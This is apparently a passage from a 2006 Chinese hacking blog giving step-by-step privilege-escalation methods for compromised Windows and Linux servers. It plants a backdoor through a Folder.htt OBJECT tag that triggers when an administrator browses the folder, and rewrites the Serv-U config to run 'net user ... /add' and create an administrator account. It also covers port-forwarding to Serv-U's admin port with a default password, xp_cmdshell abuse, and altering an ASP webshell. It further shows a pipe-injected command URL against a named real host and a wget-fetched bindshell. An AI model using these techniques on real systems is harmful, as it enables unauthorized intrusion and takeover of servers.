首先,我们现在本地建立一个文件夹,名字不重要,进入它,在空白处点右键,选择“自定义文件夹”(xp好像是不行的)一直下点,默认即可。完成后,你就会看到在此目录下多了两个名为Folder setting的文件架与desktop.ini的文件,(如果你看不到,先取消“隐藏受保护的操作系统文件”)然后我们在Folder setting目录下找到Folder.htt文件,记事本打开,在任意地方加入以下代码:

<OBJECT ID=”RUNIT” WIDTH=0 HEIGHT=0 TYPE=”application/x-oleobject” CODEBASE=”你的后门文件名”>

</OBJECT>

然后你将你的后门文件放在Folder setting目录下,把此目录与desktop.ini一起上传到对方任意一个目录下,就可以了,只要等管理员浏览了此目录,它就执行了我们的后门!(如果你不放心,可以多设置几个目录)

7、Serv-U提升权限

利用Serv-U提升权限共有三种方法,溢出是第一种,我之前已经说过,这里就不介绍了。我要讲的是其余两种办法。

办法一:要求:对Serv-u安装目录有完全控制权。

方法:进入对方的Serv-U目录,察看他的ServUDaemon.ini,这是Serv-U的配置文件,如果管理员没有选择将serv- u的所有配置写入注册表的话,我们就可以从这个文件中看到Serv-U的所有信息,版本、IP、甚至用户名与密码!早些版本的密码是不加密的,但是后来是经过了MD5加密。所以不能直接得到其密码。不过我们仍然有办法:先在本地安装一个Serv-U(版本最好新点),将你自己的ServUDaemon.ini文件用从他那下载下来的ServUDaemon.ini 覆盖掉,重起一下Serv-U,于是你上面的所有配置都与他的一模一样了。我们新建一个用户,什么组不重要,重要的是将他的主目录改为对方的系统盘,然后加上执行权限!这个最重要。更改完后应用,退出。再将你更改过的ServUDaemon.ini 文件上传,覆盖掉他的文件,然后就等他的Serv-U重启更新配置,之后我们就可以登入他的FTP。进入后执行以下命令:

Cd windows

Cd System32

Quote site exec net.exe user wofeiwo /add

Quote site exec net.exe localgroup administrators wofeiwo /add

Bye

然后你就有了一个叫wofeiwo的系统管理员了,还等什么?登陆3389,大功告成!

办法二:Serv-u开了两个端口,一个是21,也就是FTP了,而另一个是43958,这个端口是干什么的?嘿嘿,这个是 Serv -U 的本地管理端口。但是默认是不准除了127.0.0.1外的IP连接的,此时就要用到FPIPE.exe文件,这是一个端口转发程序,上传他,执行命令:

Fpipe –v –l 3333 –r 43958 127.0.0.1

意思是将4444端口映射到43958端口上。

然后就可以在本地安装一个Serv-u,新建一个服务器,IP填对方IP,帐号为LocalAdministrator 密码为#1@$ak#.1k;0@p 连接上后你就可以管理他的Serv-u了,之后提升权限的方法参考办法一。我就不赘述了。

8、SQL帐户密码泄露。

如果对方开了MSSQL服务器,我们就可以通过用SQL连接器加管理员帐号,因为MSSQL是默认的SYSTEM权限。

要求:你得到了对方MSSQL管理员密码(可以从他的连接数据库的ASP文件中看到),对方没有删除xp_cmdshell

方法:使用Sqlexec.exe,在host 一栏中填入对方IP,User与Pass中填入你所得到的用户名与密码。format选择xp_cmdshell”%s”即可。然后点击connect,连接上后就可以在CMD一栏中输入你想要的CMD命令了。

终于写完8个方法了 ……(不是“三哥”让我写原创的话,我“猪猪”才懒得写呢,好累!)

以上的8种方法并不是绝对的,最主要的是你的思路,每种方法互相结合,才能发挥其应有的效应。

由于水平有限,欢迎各位跟帖指出不足,也希望大家能提出你的想法,共同讨论。

已电脑知识为基础。已网络信息安全为己任,帮助他人,提高自我,我们不是黑客,但我们拥有真正黑客的内涵,思想……

2006/02/07Windows系统

没有评论
73 views

无命令提示的权限提升

有很多朋友问他得到了一个WEBSHELL,但是想用命令提示查看用户信息什么的,但是很多主机限制了执行命令,所以很多WEBSHELL就不能失去了很大的功能……我就以ASP站长助手6.0为例把它上传到一个禁止执行的虚拟主机,然后上传一个CMD.exe,然后调用你上传的CMD来执行命令……

本来想搞图文教程的,但感觉太简单,文字就可以说明清楚了

1.打开ASP站长助手6.0点击命令提示符,显示&#34;没有权限&#34;

2.用ASP站长助手6.0上传功能上传一个CMD.exe(在WINsystem32cmd.exe)到你的WEBSHELL目录(其它目录也行,把上传以后的CMD.exe绝对路径COPY出来)

3.修改你的webshell找到调用CMD.exe的代码

Function CmdShell()

If Request(&#34;cmd&#34;)<>&#34;&#34; Then

DefCmd = Request(&#34;cmd&#34;)

Else

DefCmd = &#34;Dir &#34;&amp;Session(&#34;FolderPath&#34;)

End If

SI=&#34;

&#34;

SI=SI&amp;&#34;&#34;

SI=SI&amp;&#34;&#34;

?SI=SI&amp;server.cr&#101;ateobject(&#34;wscript.shell&#34;).exec(&#34;cmd.exe /c &#34;&amp;DefCmd).stdout.readall

?SI=SI&amp;Chr(13)&amp;&#34;Rar命令行压缩示例:c:progra~1winrar
ar.exe a d:web estweb1.rar d:web estweb1&#34;

Response.Write SI

End Function

修改成以下载的代码

Function CmdShell()

If Request(&#34;cmd&#34;)<>&#34;&#34; Then

DefCmd = Request(&#34;cmd&#34;)

Else

DefCmd = &#34;Dir &#34;&amp;Session(&#34;FolderPath&#34;)

End If

SI=&#34; &#34;

SI=SI&amp;&#34;&#34;

SI=SI&amp;&#34;&#34;

?SI=SI&amp;server.cr&#101;ateobject(&#34;wscript.shell&#34;).exec(&#34;你想上传的cmd.exe绝对路径 /c &#34;&amp;DefCmd).stdout.readall

?SI=SI&amp;Chr(13)&amp;&#34;Rar命令行压缩示例:c:progra~1winrar
ar.exe a d:web estweb1.rar d:web estweb1

&#34;

Response.Write SI

End Function

为了大家看得清楚把要修改的提出来就可以

原来的:

SI=SI&amp;server.cr&#101;ateobject(&#34;wscript.shell&#34;).exec(&#34;cmd.exe /c &#34;&amp;DefCmd).stdout.readall

修改成:

SI=SI&amp;server.cr&#101;ateobject(&#34;wscript.shell&#34;).exec(&#34;你想上传的cmd.exe绝对路径 /c &#34;&amp;DefCmd).stdout.readall

比如你上伟到的目录是D:webwwwcmd.exe那么就修改成:

SI=SI&amp;server.cr&#101;ateobject(&#34;wscript.shell&#34;).exec(&#34;D:webwwwcmd.exe /c &#34;&amp;DefCmd).stdout.readall

这样你的WEBSHELL中的命令提示符就可以用了……

webshell 提升 for linux

在zone-h得到了答案,他们是这样干的

用wget把bindshell下载到/tmp/目录下

或者再/etc/inetd.conf可写的情况下直接开一个交互的shell

然后用gcc编译

http://cgiserver.sogang.ac.kr/~gsviscom/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&amp;board=rebarz99&amp;command=down_load&amp;filename=rb9.txt|ls%20-al|

ls -al显示文件

||中间的是显示的命令

很简单的办法是得到用户

最基本的办法是得到用户列表然后用流光跑密码

返回顶部